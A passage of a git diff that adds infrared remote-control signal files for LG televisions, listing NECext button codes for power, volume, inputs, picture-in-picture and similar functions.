+protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: ARROW_RT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: C-LF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: ARROW_LT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: VOLUME_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: I/II +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: SAP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: TV/AV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: TV/AV_INPUT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: INPUT_SOURCE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: TV/_VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: TV_/_VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: TV_INPUT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: INPUT_TV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: FLASH_BACK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: Q.VIEW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: FLASHBACK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: REVIEW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: YELLOW_/_Q.WIEV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: FAVORITE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: SURF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: FCR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: FRC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: TEXT_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 22 00 00 00 +# +name: TEXT_MIX +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 24 00 00 00 +# +name: MIX +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 24 00 00 00 +# +name: TEXT_TIME +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 26 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 26 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 27 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: TEXT_REVEAL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2A 00 00 00 +# +name: REVEAL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2A 00 00 00 +# +name: AV_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: UPDATE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 33 00 00 00 +# +name: CLOSED_CAPTIONS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 39 00 00 00 +# +name: CC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 39 00 00 00 +# +name: CAPTION +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 39 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: ZOOM_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: C-UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: ZOOM_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: C-DN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: ARROW_DN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 43 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: Q.MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 45 00 00 00 +# +name: DASP_(L30W36) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 47 00 00 00 +# +name: DASH +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: DASH_(-)_LIST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: -- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: EZ_PICTURE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 +# +name: EZ_PIC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 +# +name: APC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 +# +name: GREEN_/_ACP/PCM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 +# +name: S-VIDEO_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 51 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 51 00 00 00 +# +name: DASP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: EZ_SOUND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 53 00 00 00 +# +name: BLUE_/_LIST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 53 00 00 00 +# +name: A._PROGRAM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: MEMORY/ERASE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 55 00 00 00 +# +name: WIDGETS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: NETCAST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: INPUT_-_VIDEO_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: INPUT:_VIDEO_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: EXIT/RETURN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 60 00 00 00 +# +name: PIP/_DW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 60 00 00 00 +# +name: RED_/_PIP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 60 00 00 00 +# +name: COLOR_1_BLUE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 61 00 00 00 +# +name: PIP/SUB_INPUT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 61 00 00 00 +# +name: PIP_INPUT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 61 00 00 00 +# +name: POP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 61 00 00 00 +# +name: TEXT_UPDATE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 62 00 00 00 +# +name: POSITION +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 62 00 00 00 +# +name: WINDOW_POSITION +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 62 00 00 00 +# +name: COLOR_2_YELLOW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 63 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 63 00 00 00 +# +name: PIP_SWAP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 63 00 00 00 +# +name: TEXT_SIZE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 64 00 00 00 +# +name: PIP_ARC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 64 00 00 00 +# +name: SIZE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 64 00 00 00 +# +name: WINDOW_SIZE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 64 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 65 00 00 00 +# +name: STILL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 65 00 00 00 +# +name: HOLD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 65 00 00 00 +# +name: WINDOW_SIZE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 69 00 00 00 +# +name: WINDOW_POSITION +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 6A 00 00 00 +# +name: */SSM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 6E 00 00 00 +# +name: TEXT_INDEX +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 70 00 00 00 +# +name: POP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 70 00 00 00 +# +name: ASPECT_-_POP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 70 00 00 00 +# +name: POP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 70 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 70 00 00 00 +# +name: COLOR_3_GREEN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: PIP_CHANNEL_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: PIP_CH+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: PIP_CHANNEL_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: PIP_CH_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: COLOR_4_RED +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 72 00 00 00 +# +name: PIP_CHANNEL_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 72 00 00 00 +# +name: PIP_CH- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 72 00 00 00 +# +name: PIP_CHANNEL_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 72 00 00 00 +# +name: PIP_CH_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 72 00 00 00 +# +name: PIP_CH_-- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 72 00 00 00 +# +name: PIP_CH+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 72 00 00 00 +# +name: 4:3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 76 00 00 00 +# +name: ASPECT_4:3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 76 00 00 00 +# +name: ASPECT_-_4:3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 76 00 00 00 +# +name: RATIO:_4:3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 76 00 00 00 +# +name: 16:9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 77 00 00 00 +# +name: ASPECT_16:9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 77 00 00 00 +# +name: ASPECT_-_16:9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 77 00 00 00 +# +name: RATIO:_16:9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 77 00 00 00 +# +name: ASPECT_RATIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 79 00 00 00 +# +name: RATIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 79 00 00 00 +# +name: ARC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 79 00 00 00 +# +name: ZOOM_SPLIT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7B 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7B 00 00 00 +# +name: SPLIT_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7B 00 00 00 +# +name: X_STUDIO_PRO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7C 00 00 00 +# +name: MARK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7D 00 00 00 +# +name: SIMPLINK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7E 00 00 00 +# +name: AUTO_DEMO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 80 00 00 00 +# +name: AUDIO_DEMO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 80 00 00 00 +# +name: 1394 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 87 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8E 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8E 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8E 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8F 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8F 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8F 00 00 00 +# +name: RECORD_LIST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 90 00 00 00 +# +name: REC_LIST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 90 00 00 00 +# +name: APM_XD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 92 00 00 00 +# +name: APM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 92 00 00 00 +# +name: SIGNAL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 96 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 98 00 00 00 +# +name: RGB_-_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 98 00 00 00 +# +name: COMP/RGB/DVI +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 98 00 00 00 +# +name: RGB1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 98 00 00 00 +# +name: MULTIMEDIA +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 98 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 98 00 00 00 +# +name: AUTO_CONFIGURE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 99 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 99 00 00 00 +# +name: LIVE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 9E 00 00 00 +# +name: TV_GUIDE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: A9 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: A9 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: AA 00 00 00 +# +name: INFORMATION +type: parsed +protocol: NECext +address: 04 00 00 00 +command: AA 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: AF 00 00 00 +# +name: ASPECT_-_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: AF 00 00 00 +# +name: RATIO:_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: AF 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B0 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B1 00 00 00 +# +name: SKIP/DAY_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B2 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B2 00 00 00 +# +name: SKIP_<<_/_DAY_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B2 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B2 00 00 00 +# +name: DAY_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B2 00 00 00 +# +name: GO_TO_PREV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B2 00 00 00 +# +name: SKIP/DAY_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B3 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B3 00 00 00 +# +name: SKIP_>>_/_DAY_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B3 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B3 00 00 00 +# +name: DAY_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B3 00 00 00 +# +name: GO_TO_NEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B3 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: BA 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: BD 00 00 00 +# +name: COMPONENT_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: BF 00 00 00 +# +name: INPUT_-_COMPONENT_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: BF 00 00 00 +# +name: INPUT:_COMPONENT_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: BF 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C4 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C4 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C5 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C5 00 00 00 +# +name: RGB_-_DVI +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C6 00 00 00 +# +name: INPUT_-_HDMI_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C6 00 00 00 +# +name: RGB2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C6 00 00 00 +# +name: DVI +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C6 00 00 00 +# +name: INPUT:_HDMI/DVI +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C6 00 00 00 +# +name: DVI-PC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C7 00 00 00 +# +name: X_STUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C8 00 00 00 +# +name: MC_EJECT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CA 00 00 00 +# +name: M/C_EJECT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CA 00 00 00 +# +name: ADJUST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CB 00 00 00 +# +name: HDMI_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CC 00 00 00 +# +name: INPUT_-_HDMI_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CC 00 00 00 +# +name: HDMI_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CE 00 00 00 +# +name: VIDEO_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CF 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D0 00 00 00 +# +name: INPUT_-_VIDEO_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D0 00 00 00 +# +name: INPUT:_VIDEO_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D0 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D1 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D2 00 00 00 +# +name: S-VIDEO_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D3 00 00 00 +# +name: COMPONENT_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D4 00 00 00 +# +name: INPUT_-_COMPONENT_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D4 00 00 00 +# +name: INPUT:_COMPONENT_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D4 00 00 00 +# +name: RGB_-_PC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D5 00 00 00 +# +name: INPUT_-_PC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D5 00 00 00 +# +name: RGBPC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D5 00 00 00 +# +name: RGB +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D5 00 00 00 +# +name: INPUT:_RGB-PC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D5 00 00 00 +# +name: ANT/CABLE/ANALOG +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D6 00 00 00 +# +name: ANT/CABLE_ANALOG +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D6 00 00 00 +# +name: INPUT_-_TV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D6 00 00 00 +# +name: ANTENNA +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D6 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D6 00 00 00 +# +name: INPUT:_TV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D6 00 00 00 +# +name: RGB_-_DTV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D7 00 00 00 +# +name: INPUT_-_DTV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D7 00 00 00 +# +name: DTV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D7 00 00 00 +# +name: INPUT:_RGB-DTV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D7 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D8 00 00 00 +# +name: S-VIDEO_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D8 00 00 00 +# +name: COMPONENT_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D9 00 00 00 +# +name: HDMI_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DA 00 00 00 +# +name: BRIGHTNESS_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: E0 00 00 00 +# +name: BRIGHTNESS_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: E1 00 00 00 +# +name: HDMI_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: E9 00 00 00 +# +name: IN-START +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FB 00 00 00 +# +name: ADJ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir new file mode 100644 index 000000000..c40475f4e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: qview +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: topt +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: avmode +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 39 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: KEY_MENU +type: parsed 